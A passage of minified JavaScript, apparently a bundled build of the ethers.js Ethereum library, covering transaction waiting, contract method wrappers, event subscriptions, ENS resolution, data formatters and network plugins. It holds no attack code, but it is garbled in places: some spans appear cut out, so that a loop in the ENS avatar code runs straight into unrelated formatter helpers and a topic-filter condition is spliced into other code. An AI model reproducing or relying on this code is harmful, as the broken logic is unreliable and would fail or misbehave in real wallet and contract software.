null}}const waiter=new Promise((resolve,reject)=>{const cancellers=[];const cancel=()=>{cancellers.forEach(c=>c())};cancellers.push(()=>{stopScanning=true});if(timeout>0){const timer=setTimeout(()=>{cancel();reject(makeError("wait for transaction timeout","TIMEOUT"))},timeout);cancellers.push(()=>{clearTimeout(timer)})}const txListener=async receipt=>{if(await receipt.confirmations()>=confirms){cancel();try{resolve(checkReceipt(receipt))}catch(error){reject(error)}}};cancellers.push(()=>{this.provider.off(this.hash,txListener)});this.provider.on(this.hash,txListener);if(startBlock>=0){const replaceListener=async()=>{try{await checkReplacement()}catch(error){if(isError(error,"TRANSACTION_REPLACED")){cancel();reject(error);return}}if(!stopScanning){this.provider.once("block",replaceListener)}};cancellers.push(()=>{this.provider.off("block",replaceListener)});this.provider.once("block",replaceListener)}});return await waiter}isMined(){return this.blockHash!=null}isLegacy(){return this.type===0}isBerlin(){return this.type===1}isLondon(){return this.type===2}isCancun(){return this.type===3}removedEvent(){assert(this.isMined(),"unmined transaction canot be orphaned","UNSUPPORTED_OPERATION",{operation:"removeEvent()"});return createRemovedTransactionFilter(this)}reorderedEvent(other){assert(this.isMined(),"unmined transaction canot be orphaned","UNSUPPORTED_OPERATION",{operation:"removeEvent()"});assert(!other||other.isMined(),"unmined 'other' transaction canot be orphaned","UNSUPPORTED_OPERATION",{operation:"removeEvent()"});return createReorderedTransactionFilter(this,other)}replaceableTransaction(startBlock){assertArgument(Number.isInteger(startBlock)&&startBlock>=0,"invalid startBlock","startBlock",startBlock);const tx=new TransactionResponse(this,this.provider);tx.#startBlock=startBlock;return tx}}function createOrphanedBlockFilter(block){return{orphan:"drop-block",hash:block.hash,number:block.number}}function createReorderedTransactionFilter(tx,other){return{orphan:"reorder-transaction",tx:tx,other:other}}function createRemovedTransactionFilter(tx){return{orphan:"drop-transaction",tx:tx}}function createRemovedLogFilter(log){return{orphan:"drop-log",log:{transactionHash:log.transactionHash,blockHash:log.blockHash,blockNumber:log.blockNumber,address:log.address,data:log.data,topics:Object.freeze(log.topics.slice()),index:log.index}}}class EventLog extends Log{interface;fragment;args;constructor(log,iface,fragment){super(log,log.provider);const args=iface.decodeEventLog(fragment,log.data,log.topics);defineProperties(this,{args:args,fragment:fragment,interface:iface})}get eventName(){return this.fragment.name}get eventSignature(){return this.fragment.format()}}class UndecodedEventLog extends Log{error;constructor(log,error){super(log,log.provider);defineProperties(this,{error:error})}}class ContractTransactionReceipt extends TransactionReceipt{#iface;constructor(iface,provider,tx){super(tx,provider);this.#iface=iface}get logs(){return super.logs.map(log=>{const fragment=log.topics.length?this.#iface.getEvent(log.topics[0]):null;if(fragment){try{return new EventLog(log,this.#iface,fragment)}catch(error){return new UndecodedEventLog(log,error)}}return log})}}class ContractTransactionResponse extends TransactionResponse{#iface;constructor(iface,provider,tx){super(tx,provider);this.#iface=iface}async wait(confirms,timeout){const receipt=await super.wait(confirms,timeout);if(receipt==null){return null}return new ContractTransactionReceipt(this.#iface,this.provider,receipt)}}class ContractUnknownEventPayload extends EventPayload{log;constructor(contract,listener,filter,log){super(contract,listener,filter);defineProperties(this,{log:log})}async getBlock(){return await this.log.getBlock()}async getTransaction(){return await this.log.getTransaction()}async getTransactionReceipt(){return await this.log.getTransactionReceipt()}}class ContractEventPayload extends ContractUnknownEventPayload{constructor(contract,listener,filter,fragment,_log){super(contract,listener,filter,new EventLog(_log,contract.interface,fragment));const args=contract.interface.decodeEventLog(fragment,this.log.data,this.log.topics);defineProperties(this,{args:args,fragment:fragment})}get eventName(){return this.fragment.name}get eventSignature(){return this.fragment.format()}}const BN_0$1=BigInt(0);function canCall(value){return value&&typeof value.call==="function"}function canEstimate(value){return value&&typeof value.estimateGas==="function"}function canResolve(value){return value&&typeof value.resolveName==="function"}function canSend(value){return value&&typeof value.sendTransaction==="function"}function getResolver(value){if(value!=null){if(canResolve(value)){return value}if(value.provider){return value.provider}}return undefined}class PreparedTopicFilter{#filter;fragment;constructor(contract,fragment,args){defineProperties(this,{fragment:fragment});if(fragment.inputs.length{const arg=args[index];if(arg==null){return null}return param.walkAsync(args[index],(type,value)=>{if(type==="address"){if(Array.isArray(value)){return Promise.all(value.map(v=>resolveAddress(v,resolver)))}return resolveAddress(value,resolver)}return value})}));return contract.interface.encodeFilterTopics(fragment,resolvedArgs)}()}getTopicFilter(){return this.#filter}}function getRunner(value,feature){if(value==null){return null}if(typeof value[feature]==="function"){return value}if(value.provider&&typeof value.provider[feature]==="function"){return value.provider}return null}function getProvider(value){if(value==null){return null}return value.provider||null}async function copyOverrides(arg,allowed){const _overrides=Typed.dereference(arg,"overrides");assertArgument(typeof _overrides==="object","invalid overrides parameter","overrides",arg);const overrides=copyRequest(_overrides);assertArgument(overrides.to==null||(allowed||[]).indexOf("to")>=0,"cannot override to","overrides.to",overrides.to);assertArgument(overrides.data==null||(allowed||[]).indexOf("data")>=0,"cannot override data","overrides.data",overrides.data);if(overrides.from){overrides.from=overrides.from}return overrides}async function resolveArgs(_runner,inputs,args){const runner=getRunner(_runner,"resolveName");const resolver=canResolve(runner)?runner:null;return await Promise.all(inputs.map((param,index)=>{return param.walkAsync(args[index],(type,value)=>{value=Typed.dereference(value,type);if(type==="address"){return resolveAddress(value,resolver)}return value})}))}function buildWrappedFallback(contract){const populateTransaction=async function(overrides){const tx=await copyOverrides(overrides,["data"]);tx.to=await contract.getAddress();if(tx.from){tx.from=await resolveAddress(tx.from,getResolver(contract.runner))}const iface=contract.interface;const noValue=getBigInt(tx.value||BN_0$1,"overrides.value")===BN_0$1;const noData=(tx.data||"0x")==="0x";if(iface.fallback&&!iface.fallback.payable&&iface.receive&&!noData&&!noValue){assertArgument(false,"cannot send data to receive or send value to non-payable fallback","overrides",overrides)}assertArgument(iface.fallback||noData,"cannot send data to receive-only contract","overrides.data",tx.data);const payable=iface.receive||iface.fallback&&iface.fallback.payable;assertArgument(payable||noValue,"cannot send value to non-payable fallback","overrides.value",tx.value);assertArgument(iface.fallback||noData,"cannot send data to receive-only contract","overrides.data",tx.data);return tx};const staticCall=async function(overrides){const runner=getRunner(contract.runner,"call");assert(canCall(runner),"contract runner does not support calling","UNSUPPORTED_OPERATION",{operation:"call"});const tx=await populateTransaction(overrides);try{return await runner.call(tx)}catch(error){if(isCallException(error)&&error.data){throw contract.interface.makeError(error.data,tx)}throw error}};const send=async function(overrides){const runner=contract.runner;assert(canSend(runner),"contract runner does not support sending transactions","UNSUPPORTED_OPERATION",{operation:"sendTransaction"});const tx=await runner.sendTransaction(await populateTransaction(overrides));const provider=getProvider(contract.runner);return new ContractTransactionResponse(contract.interface,provider,tx)};const estimateGas=async function(overrides){const runner=getRunner(contract.runner,"estimateGas");assert(canEstimate(runner),"contract runner does not support gas estimation","UNSUPPORTED_OPERATION",{operation:"estimateGas"});return await runner.estimateGas(await populateTransaction(overrides))};const method=async overrides=>{return await send(overrides)};defineProperties(method,{_contract:contract,estimateGas:estimateGas,populateTransaction:populateTransaction,send:send,staticCall:staticCall});return method}function buildWrappedMethod(contract,key){const getFragment=function(...args){const fragment=contract.interface.getFunction(key,args);assert(fragment,"no matching fragment","UNSUPPORTED_OPERATION",{operation:"fragment",info:{key:key,args:args}});return fragment};const populateTransaction=async function(...args){const fragment=getFragment(...args);let overrides={};if(fragment.inputs.length+1===args.length){overrides=await copyOverrides(args.pop());if(overrides.from){overrides.from=await resolveAddress(overrides.from,getResolver(contract.runner))}}if(fragment.inputs.length!==args.length){throw new Error("internal error: fragment inputs doesn't match arguments; should not happen")}const resolvedArgs=await resolveArgs(contract.runner,fragment.inputs,args);return Object.assign({},overrides,await resolveProperties({to:contract.getAddress(),data:contract.interface.encodeFunctionData(fragment,resolvedArgs)}))};const staticCall=async function(...args){const result=await staticCallResult(...args);if(result.length===1){return result[0]}return result};const send=async function(...args){const runner=contract.runner;assert(canSend(runner),"contract runner does not support sending transactions","UNSUPPORTED_OPERATION",{operation:"sendTransaction"});const tx=await runner.sendTransaction(await populateTransaction(...args));const provider=getProvider(contract.runner);return new ContractTransactionResponse(contract.interface,provider,tx)};const estimateGas=async function(...args){const runner=getRunner(contract.runner,"estimateGas");assert(canEstimate(runner),"contract runner does not support gas estimation","UNSUPPORTED_OPERATION",{operation:"estimateGas"});return await runner.estimateGas(await populateTransaction(...args))};const staticCallResult=async function(...args){const runner=getRunner(contract.runner,"call");assert(canCall(runner),"contract runner does not support calling","UNSUPPORTED_OPERATION",{operation:"call"});const tx=await populateTransaction(...args);let result="0x";try{result=await runner.call(tx)}catch(error){if(isCallException(error)&&error.data){throw contract.interface.makeError(error.data,tx)}throw error}const fragment=getFragment(...args);return contract.interface.decodeFunctionResult(fragment,result)};const method=async(...args)=>{const fragment=getFragment(...args);if(fragment.constant){return await staticCall(...args)}return await send(...args)};defineProperties(method,{name:contract.interface.getFunctionName(key),_contract:contract,_key:key,getFragment:getFragment,estimateGas:estimateGas,populateTransaction:populateTransaction,send:send,staticCall:staticCall,staticCallResult:staticCallResult});Object.defineProperty(method,"fragment",{configurable:false,enumerable:true,get:()=>{const fragment=contract.interface.getFunction(key);assert(fragment,"no matching fragment","UNSUPPORTED_OPERATION",{operation:"fragment",info:{key:key}});return fragment}});return method}function buildWrappedEvent(contract,key){const getFragment=function(...args){const fragment=contract.interface.getEvent(key,args);assert(fragment,"no matching fragment","UNSUPPORTED_OPERATION",{operation:"fragment",info:{key:key,args:args}});return fragment};const method=function(...args){return new PreparedTopicFilter(contract,getFragment(...args),args)};defineProperties(method,{name:contract.interface.getEventName(key),_contract:contract,_key:key,getFragment:getFragment});Object.defineProperty(method,"fragment",{configurable:false,enumerable:true,get:()=>{const fragment=contract.interface.getEvent(key);assert(fragment,"no matching fragment","UNSUPPORTED_OPERATION",{operation:"fragment",info:{key:key}});return fragment}});return method}const internal=Symbol.for("_ethersInternal_contract");const internalValues=new WeakMap;function setInternal(contract,values){internalValues.set(contract[internal],values)}function getInternal(contract){return internalValues.get(contract[internal])}function isDeferred(value){return value&&typeof value==="object"&&"getTopicFilter"in value&&typeof value.getTopicFilter==="function"&&value.fragment}async function getSubInfo(contract,event){let topics;let fragment=null;if(Array.isArray(event)){const topicHashify=function(name){if(isHexString(name,32)){return name}const fragment=contract.interface.getEvent(name);assertArgument(fragment,"unknown fragment","name",name);return fragment.topicHash};topics=event.map(e=>{if(e==null){return null}if(Array.isArray(e)){return e.map(topicHashify)}return topicHashify(e)})}else if(event==="*"){topics=[null]}else if(typeof event==="string"){if(isHexString(event,32)){topics=[event]}else{fragment=contract.interface.getEvent(event);assertArgument(fragment,"unknown fragment","event",event);topics=[fragment.topicHash]}}else if(isDeferred(event)){topics=await event.getTopicFilter()}else if("fragment"in event){fragment=event.fragment;topics=[fragment.topicHash]}else{assertArgument(false,"unknown event name","event",event)}topics=topics.map(t=>{if(t==null){return null}if(Array.isArray(t)){const items=Array.from(new Set(t.map(t=>t.toLowerCase())).values());if(items.length===1){return items[0]}items.sort();return items}return t.toLowerCase()});const tag=topics.map(t=>{if(t==null){return"null"}if(Array.isArray(t)){return t.join("|")}return t}).join("&");return{fragment:fragment,tag:tag,topics:topics}}async function hasSub(contract,event){const{subs}=getInternal(contract);return subs.get((await getSubInfo(contract,event)).tag)||null}async function getSub(contract,operation,event){const provider=getProvider(contract.runner);assert(provider,"contract runner does not support subscribing","UNSUPPORTED_OPERATION",{operation:operation});const{fragment,tag,topics}=await getSubInfo(contract,event);const{addr,subs}=getInternal(contract);let sub=subs.get(tag);if(!sub){const address=addr?addr:contract;const filter={address:address,topics:topics};const listener=log=>{let foundFragment=fragment;if(foundFragment==null){try{foundFragment=contract.interface.getEvent(log.topics[0])}catch(error){}}if(foundFragment){const _foundFragment=foundFragment;const args=fragment?contract.interface.decodeEventLog(fragment,log.data,log.topics):[];emit(contract,event,args,listener=>{return new ContractEventPayload(contract,listener,event,_foundFragment,log)})}else{emit(contract,event,[],listener=>{return new ContractUnknownEventPayload(contract,listener,event,log)})}};let starting=[];const start=()=>{if(starting.length){return}starting.push(provider.on(filter,listener))};const stop=async()=>{if(starting.length==0){return}let started=starting;starting=[];await Promise.all(started);provider.off(filter,listener)};sub={tag:tag,listeners:[],start:start,stop:stop};subs.set(tag,sub)}return sub}let lastEmit=Promise.resolve();async function _emit(contract,event,args,payloadFunc){await lastEmit;const sub=await hasSub(contract,event);if(!sub){return false}const count=sub.listeners.length;sub.listeners=sub.listeners.filter(({listener,once})=>{const passArgs=Array.from(args);if(payloadFunc){passArgs.push(payloadFunc(once?null:listener))}try{listener.call(contract,...passArgs)}catch(error){}return!once});if(sub.listeners.length===0){sub.stop();getInternal(contract).subs.delete(sub.tag)}return count>0}async function emit(contract,event,args,payloadFunc){try{await lastEmit}catch(error){}const resultPromise=_emit(contract,event,args,payloadFunc);lastEmit=resultPromise;return await resultPromise}const passProperties=["then"];class BaseContract{target;interface;runner;filters;[internal];fallback;constructor(target,abi,runner,_deployTx){assertArgument(typeof target==="string"||isAddressable(target),"invalid value for Contract target","target",target);if(runner==null){runner=null}const iface=Interface.from(abi);defineProperties(this,{target:target,runner:runner,interface:iface});Object.defineProperty(this,internal,{value:{}});let addrPromise;let addr=null;let deployTx=null;if(_deployTx){const provider=getProvider(runner);deployTx=new ContractTransactionResponse(this.interface,provider,_deployTx)}let subs=new Map;if(typeof target==="string"){if(isHexString(target)){addr=target;addrPromise=Promise.resolve(target)}else{const resolver=getRunner(runner,"resolveName");if(!canResolve(resolver)){throw makeError("contract runner does not support name resolution","UNSUPPORTED_OPERATION",{operation:"resolveName"})}addrPromise=resolver.resolveName(target).then(addr=>{if(addr==null){throw makeError("an ENS name used for a contract target must be correctly configured","UNCONFIGURED_NAME",{value:target})}getInternal(this).addr=addr;return addr})}}else{addrPromise=target.getAddress().then(addr=>{if(addr==null){throw new Error("TODO")}getInternal(this).addr=addr;return addr})}setInternal(this,{addrPromise:addrPromise,addr:addr,deployTx:deployTx,subs:subs});const filters=new Proxy({},{get:(target,prop,receiver)=>{if(typeof prop==="symbol"||passProperties.indexOf(prop)>=0){return Reflect.get(target,prop,receiver)}try{return this.getEvent(prop)}catch(error){if(!isError(error,"INVALID_ARGUMENT")||error.argument!=="key"){throw error}}return undefined},has:(target,prop)=>{if(passProperties.indexOf(prop)>=0){return Reflect.has(target,prop)}return Reflect.has(target,prop)||this.interface.hasEvent(String(prop))}});defineProperties(this,{filters:filters});defineProperties(this,{fallback:iface.receive||iface.fallback?buildWrappedFallback(this):null});return new Proxy(this,{get:(target,prop,receiver)=>{if(typeof prop==="symbol"||prop in target||passProperties.indexOf(prop)>=0){return Reflect.get(target,prop,receiver)}try{return target.getFunction(prop)}catch(error){if(!isError(error,"INVALID_ARGUMENT")||error.argument!=="key"){throw error}}return undefined},has:(target,prop)=>{if(typeof prop==="symbol"||prop in target||passProperties.indexOf(prop)>=0){return Reflect.has(target,prop)}return target.interface.hasFunction(prop)}})}connect(runner){return new BaseContract(this.target,this.interface,runner)}attach(target){return new BaseContract(target,this.interface,this.runner)}async getAddress(){return await getInternal(this).addrPromise}async getDeployedCode(){const provider=getProvider(this.runner);assert(provider,"runner does not support .provider","UNSUPPORTED_OPERATION",{operation:"getDeployedCode"});const code=await provider.getCode(await this.getAddress());if(code==="0x"){return null}return code}async waitForDeployment(){const deployTx=this.deploymentTransaction();if(deployTx){await deployTx.wait();return this}const code=await this.getDeployedCode();if(code!=null){return this}const provider=getProvider(this.runner);assert(provider!=null,"contract runner does not support .provider","UNSUPPORTED_OPERATION",{operation:"waitForDeployment"});return new Promise((resolve,reject)=>{const checkCode=async()=>{try{const code=await this.getDeployedCode();if(code!=null){return resolve(this)}provider.once("block",checkCode)}catch(error){reject(error)}};checkCode()})}deploymentTransaction(){return getInternal(this).deployTx}getFunction(key){if(typeof key!=="string"){key=key.format()}const func=buildWrappedMethod(this,key);return func}getEvent(key){if(typeof key!=="string"){key=key.format()}return buildWrappedEvent(this,key)}async queryTransaction(hash){throw new Error("@TODO")}async queryFilter(event,fromBlock,toBlock){if(fromBlock==null){fromBlock=0}if(toBlock==null){toBlock="latest"}const{addr,addrPromise}=getInternal(this);const address=addr?addr:await addrPromise;const{fragment,topics}=await getSubInfo(this,event);const filter={address:address,topics:topics,fromBlock:fromBlock,toBlock:toBlock};const provider=getProvider(this.runner);assert(provider,"contract runner does not have a provider","UNSUPPORTED_OPERATION",{operation:"queryFilter"});return(await provider.getLogs(filter)).map(log=>{let foundFragment=fragment;if(foundFragment==null){try{foundFragment=this.interface.getEvent(log.topics[0])}catch(error){}}if(foundFragment){try{return new EventLog(log,this.interface,foundFragment)}catch(error){return new UndecodedEventLog(log,error)}}return new Log(log,provider)})}async on(event,listener){const sub=await getSub(this,"on",event);sub.listeners.push({listener:listener,once:false});sub.start();return this}async once(event,listener){const sub=await getSub(this,"once",event);sub.listeners.push({listener:listener,once:true});sub.start();return this}async emit(event,...args){return await emit(this,event,args,null)}async listenerCount(event){if(event){const sub=await hasSub(this,event);if(!sub){return 0}return sub.listeners.length}const{subs}=getInternal(this);let total=0;for(const{listeners}of subs.values()){total+=listeners.length}return total}async listeners(event){if(event){const sub=await hasSub(this,event);if(!sub){return[]}return sub.listeners.map(({listener})=>listener)}const{subs}=getInternal(this);let result=[];for(const{listeners}of subs.values()){result=result.concat(listeners.map(({listener})=>listener))}return result}async off(event,listener){const sub=await hasSub(this,event);if(!sub){return this}if(listener){const index=sub.listeners.map(({listener})=>listener).indexOf(listener);if(index>=0){sub.listeners.splice(index,1)}}if(listener==null||sub.listeners.length===0){sub.stop();getInternal(this).subs.delete(sub.tag)}return this}async removeAllListeners(event){if(event){const sub=await hasSub(this,event);if(!sub){return this}sub.stop();getInternal(this).subs.delete(sub.tag)}else{const{subs}=getInternal(this);for(const{tag,stop}of subs.values()){stop();subs.delete(tag)}}return this}async addListener(event,listener){return await this.on(event,listener)}async removeListener(event,listener){return await this.off(event,listener)}static buildClass(abi){class CustomContract extends BaseContract{constructor(address,runner=null){super(address,abi,runner)}}return CustomContract}static from(target,abi,runner){if(runner==null){runner=null}const contract=new this(target,abi,runner);return contract}}function _ContractBase(){return BaseContract}class Contract extends _ContractBase(){}class ContractFactory{interface;bytecode;runner;constructor(abi,bytecode,runner){const iface=Interface.from(abi);if(bytecode instanceof Uint8Array){bytecode=hexlify(getBytes(bytecode))}else{if(typeof bytecode==="object"){bytecode=bytecode.object}if(!bytecode.startsWith("0x")){bytecode="0x"+bytecode}bytecode=hexlify(getBytes(bytecode))}defineProperties(this,{bytecode:bytecode,interface:iface,runner:runner||null})}attach(target){return new BaseContract(target,this.interface,this.runner)}async getDeployTransaction(...args){let overrides={};const fragment=this.interface.deploy;if(fragment.inputs.length+1===args.length){overrides=await copyOverrides(args.pop())}if(fragment.inputs.length!==args.length){throw new Error("incorrect number of arguments to constructor")}const resolvedArgs=await resolveArgs(this.runner,fragment.inputs,args);const data=concat([this.bytecode,this.interface.encodeDeploy(resolvedArgs)]);return Object.assign({},overrides,{data:data})}async deploy(...args){const tx=await this.getDeployTransaction(...args);assert(this.runner&&typeof this.runner.sendTransaction==="function","factory runner does not support sending transactions","UNSUPPORTED_OPERATION",{operation:"sendTransaction"});const sentTx=await this.runner.sendTransaction(tx);const address=getCreateAddress(sentTx);return new BaseContract(address,this.interface,this.runner,sentTx)}connect(runner){return new ContractFactory(this.interface,this.bytecode,runner)}static fromSolidity(output,runner){assertArgument(output!=null,"bad compiler output","output",output);if(typeof output==="string"){output=JSON.parse(output)}const abi=output.abi;let bytecode="";if(output.bytecode){bytecode=output.bytecode}else if(output.evm&&output.evm.bytecode){bytecode=output.evm.bytecode}return new this(abi,bytecode,runner)}}function getIpfsLink(link){if(link.match(/^ipfs:\/\/ipfs\//i)){link=link.substring(12)}else if(link.match(/^ipfs:\/\//i)){link=link.substring(7)}else{assertArgument(false,"unsupported IPFS format","link",link)}return`https:/\/gateway.ipfs.io/ipfs/${link}`}class MulticoinProviderPlugin{name;constructor(name){defineProperties(this,{name:name})}connect(proivder){return this}supportsCoinType(coinType){return false}async encodeAddress(coinType,address){throw new Error("unsupported coin")}async decodeAddress(coinType,data){throw new Error("unsupported coin")}}const matcherIpfs=new RegExp("^(ipfs)://(.*)$","i");const matchers=[new RegExp("^(https)://(.*)$","i"),new RegExp("^(data):(.*)$","i"),matcherIpfs,new RegExp("^eip155:[0-9]+/(erc[0-9]+):(.*)$","i")];class EnsResolver{provider;address;name;#supports2544;#resolver;constructor(provider,address,name){defineProperties(this,{provider:provider,address:address,name:name});this.#supports2544=null;this.#resolver=new Contract(address,["function supportsInterface(bytes4) view returns (bool)","function resolve(bytes, bytes) view returns (bytes)","function addr(bytes32) view returns (address)","function addr(bytes32, uint) view returns (bytes)","function text(bytes32, string) view returns (string)","function contenthash(bytes32) view returns (bytes)"],provider)}async supportsWildcard(){if(this.#supports2544==null){this.#supports2544=(async()=>{try{return await this.#resolver.supportsInterface("0x9061b923")}catch(error){if(isError(error,"CALL_EXCEPTION")){return false}this.#supports2544=null;throw error}})()}return await this.#supports2544}async#fetch(funcName,params){params=(params||[]).slice();const iface=this.#resolver.interface;params.unshift(namehash(this.name));let fragment=null;if(await this.supportsWildcard()){fragment=iface.getFunction(funcName);assert(fragment,"missing fragment","UNKNOWN_ERROR",{info:{funcName:funcName}});params=[dnsEncode(this.name,255),iface.encodeFunctionData(fragment,params)];funcName="resolve(bytes,bytes)"}params.push({enableCcipRead:true});try{const result=await this.#resolver[funcName](...params);if(fragment){return iface.decodeFunctionResult(fragment,result)[0]}return result}catch(error){if(!isError(error,"CALL_EXCEPTION")){throw error}}return null}async getAddress(coinType){if(coinType==null){coinType=60}if(coinType===60){try{const result=await this.#fetch("addr(bytes32)");if(result==null||result===ZeroAddress){return null}return result}catch(error){if(isError(error,"CALL_EXCEPTION")){return null}throw error}}if(coinType>=0&&coinType<2147483648){let ethCoinType=coinType+2147483648;const data=await this.#fetch("addr(bytes32,uint)",[ethCoinType]);if(isHexString(data,20)){return getAddress(data)}}let coinPlugin=null;for(const plugin of this.provider.plugins){if(!(plugin instanceof MulticoinProviderPlugin)){continue}if(plugin.supportsCoinType(coinType)){coinPlugin=plugin;break}}if(coinPlugin==null){return null}const data=await this.#fetch("addr(bytes32,uint)",[coinType]);if(data==null||data==="0x"){return null}const address=await coinPlugin.decodeAddress(coinType,data);if(address!=null){return address}assert(false,`invalid coin data`,"UNSUPPORTED_OPERATION",{operation:`getAddress(${coinType})`,info:{coinType:coinType,data:data}})}async getText(key){const data=await this.#fetch("text(bytes32,string)",[key]);if(data==null||data==="0x"){return null}return data}async getContentHash(){const data=await this.#fetch("contenthash(bytes32)");if(data==null||data==="0x"){return null}const ipfs=data.match(/^0x(e3010170|e5010172)(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/);if(ipfs){const scheme=ipfs[1]==="e3010170"?"ipfs":"ipns";const length=parseInt(ipfs[4],16);if(ipfs[5].length===length*2){return`${scheme}:/\/${encodeBase58("0x"+ipfs[2])}`}}const swarm=data.match(/^0xe40101fa011b20([0-9a-f]*)$/);if(swarm&&swarm[1].length===64){return`bzz:/\/${swarm[1]}`}assert(false,`invalid or unsupported content hash data`,"UNSUPPORTED_OPERATION",{operation:"getContentHash()",info:{data:data}})}async getAvatar(){const avatar=await this._getAvatar();return avatar.url}async _getAvatar(){const linkage=[{type:"name",value:this.name}];try{const avatar=await this.getText("avatar");if(avatar==null){linkage.push({type:"!avatar",value:""});return{url:null,linkage:linkage}}linkage.push({type:"avatar",value:avatar});for(let i=0;i{if(allowNull&&array==null){return null}if(!Array.isArray(array)){throw new Error("not an array")}return array.map(i=>format(i))}}function object(format,altNames){return value=>{const result={};for(const key in format){let srcKey=key;if(altNames&&key in altNames&&!(srcKey in value)){for(const altKey of altNames[key]){if(altKey in value){srcKey=altKey;break}}}try{const nv=format[key](value[srcKey]);if(nv!==undefined){result[key]=nv}}catch(error){const message=error instanceof Error?error.message:"not-an-error";assert(false,`invalid value for value.${key} (${message})`,"BAD_DATA",{value:value})}}return result}}function formatBoolean(value){switch(value){case true:case"true":return true;case false:case"false":return false}assertArgument(false,`invalid boolean; ${JSON.stringify(value)}`,"value",value)}function formatData(value){assertArgument(isHexString(value,true),"invalid data","value",value);return value}function formatHash(value){assertArgument(isHexString(value,32),"invalid hash","value",value);return value}const _formatLog=object({address:getAddress,blockHash:formatHash,blockNumber:getNumber,data:formatData,index:getNumber,removed:allowNull(formatBoolean,false),topics:arrayOf(formatHash),transactionHash:formatHash,transactionIndex:getNumber},{index:["logIndex"]});function formatLog(value){return _formatLog(value)}const _formatBlock=object({hash:allowNull(formatHash),parentHash:formatHash,parentBeaconBlockRoot:allowNull(formatHash,null),number:getNumber,timestamp:getNumber,nonce:allowNull(formatData),difficulty:getBigInt,gasLimit:getBigInt,gasUsed:getBigInt,stateRoot:allowNull(formatHash,null),receiptsRoot:allowNull(formatHash,null),blobGasUsed:allowNull(getBigInt,null),excessBlobGas:allowNull(getBigInt,null),miner:allowNull(getAddress),prevRandao:allowNull(formatHash,null),extraData:formatData,baseFeePerGas:allowNull(getBigInt)},{prevRandao:["mixHash"]});function formatBlock(value){const result=_formatBlock(value);result.transactions=value.transactions.map(tx=>{if(typeof tx==="string"){return tx}return formatTransactionResponse(tx)});return result}const _formatReceiptLog=object({transactionIndex:getNumber,blockNumber:getNumber,transactionHash:formatHash,address:getAddress,topics:arrayOf(formatHash),data:formatData,index:getNumber,blockHash:formatHash},{index:["logIndex"]});function formatReceiptLog(value){return _formatReceiptLog(value)}const _formatTransactionReceipt=object({to:allowNull(getAddress,null),from:allowNull(getAddress,null),contractAddress:allowNull(getAddress,null),index:getNumber,root:allowNull(hexlify),gasUsed:getBigInt,blobGasUsed:allowNull(getBigInt,null),logsBloom:allowNull(formatData),blockHash:formatHash,hash:formatHash,logs:arrayOf(formatReceiptLog),blockNumber:getNumber,cumulativeGasUsed:getBigInt,effectiveGasPrice:allowNull(getBigInt),blobGasPrice:allowNull(getBigInt,null),status:allowNull(getNumber),type:allowNull(getNumber,0)},{effectiveGasPrice:["gasPrice"],hash:["transactionHash"],index:["transactionIndex"]});function formatTransactionReceipt(value){return _formatTransactionReceipt(value)}function formatTransactionResponse(value){if(value.to&&getBigInt(value.to)===BN_0){value.to="0x0000000000000000000000000000000000000000"}const result=object({hash:formatHash,index:allowNull(getNumber,undefined),type:value=>{if(value==="0x"||value==null){return 0}return getNumber(value)},accessList:allowNull(accessListify,null),blobVersionedHashes:allowNull(arrayOf(formatHash,true),null),authorizationList:allowNull(arrayOf(v=>{let sig;if(v.signature){sig=v.signature}else{let yParity=v.yParity;if(yParity==="0x1b"){yParity=0}else if(yParity==="0x1c"){yParity=1}sig=Object.assign({},v,{yParity:yParity})}return{address:getAddress(v.address),chainId:getBigInt(v.chainId),nonce:getBigInt(v.nonce),signature:Signature.from(sig)}},false),null),blockHash:allowNull(formatHash,null),blockNumber:allowNull(getNumber,null),transactionIndex:allowNull(getNumber,null),from:getAddress,gasPrice:allowNull(getBigInt),maxPriorityFeePerGas:allowNull(getBigInt),maxFeePerGas:allowNull(getBigInt),maxFeePerBlobGas:allowNull(getBigInt,null),gasLimit:getBigInt,to:allowNull(getAddress,null),value:getBigInt,nonce:getNumber,data:formatData,creates:allowNull(getAddress,null),chainId:allowNull(getBigInt,null)},{data:["input"],gasLimit:["gas"],index:["transactionIndex"]})(value);if(result.to==null&&result.creates==null){result.creates=getCreateAddress(result)}if((value.type===1||value.type===2)&&value.accessList==null){result.accessList=[]}if(value.signature){result.signature=Signature.from(value.signature)}else{result.signature=Signature.from(value)}if(result.chainId==null){const chainId=result.signature.legacyChainId;if(chainId!=null){result.chainId=chainId}}if(result.blockHash&&getBigInt(result.blockHash)===BN_0){result.blockHash=null}return result}const EnsAddress="0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e";class NetworkPlugin{name;constructor(name){defineProperties(this,{name:name})}clone(){return new NetworkPlugin(this.name)}}class GasCostPlugin extends NetworkPlugin{effectiveBlock;txBase;txCreate;txDataZero;txDataNonzero;txAccessListStorageKey;txAccessListAddress;constructor(effectiveBlock,costs){if(effectiveBlock==null){effectiveBlock=0}super(`org.ethers.network.plugins.GasCost#${effectiveBlock||0}`);const props={effectiveBlock:effectiveBlock};function set(name,nullish){let value=(costs||{})[name];if(value==null){value=nullish}assertArgument(typeof value==="number",`invalud value for ${name}`,"costs",costs);props[name]=value}set("txBase",21e3);set("txCreate",32e3);set("txDataZero",4);set("txDataNonzero",16);set("txAccessListStorageKey",1900);set("txAccessListAddress",2400);defineProperties(this,props)}clone(){return new GasCostPlugin(this.effectiveBlock,this)}}class EnsPlugin extends NetworkPlugin{address;targetNetwork;constructor(address,targetNetwork){super("org.ethers.plugins.network.Ens");defineProperties(this,{address:address||EnsAddress,targetNetwork:targetNetwork==null?1:targetNetwork})}clone(){return new EnsPlugin(this.address,this.targetNetwork)}}class FeeDataNetworkPlugin extends NetworkPlugin{#feeDataFunc;get feeDataFunc(){return this.#feeDataFunc}constructor(feeDataFunc){super("org.ethers.plugins.network.FeeData");this.#feeDataFunc=feeDataFunc}async getFeeData(provider){return await this.#feeDataFunc(provider)}clone(){return new FeeDataNetworkPlugin(this.#feeDataFunc)}}class FetchUrlFeeDataNetworkPlugin extends NetworkPlugin{#url;#processFunc;get url(){return this.#url}get processFunc(){return this.#processFunc}constructor(url,processFunc){super("org.ethers.plugins.network.FetchUrlFeeDataPlugin");this.#url=url;this.#processFunc=processFunc}clone(){return this}}const Networks=new Map;class Network{#name;#chainId;#plugins;constructor(name,chainId){this.#name=name;this.#chainId=getBigInt(chainId);this.#plugins=new Map}toJSON(){return{name:this.name,chainId:String(this.chainId)}}get name(){return this.#name}set name(value){this.#name=value}get 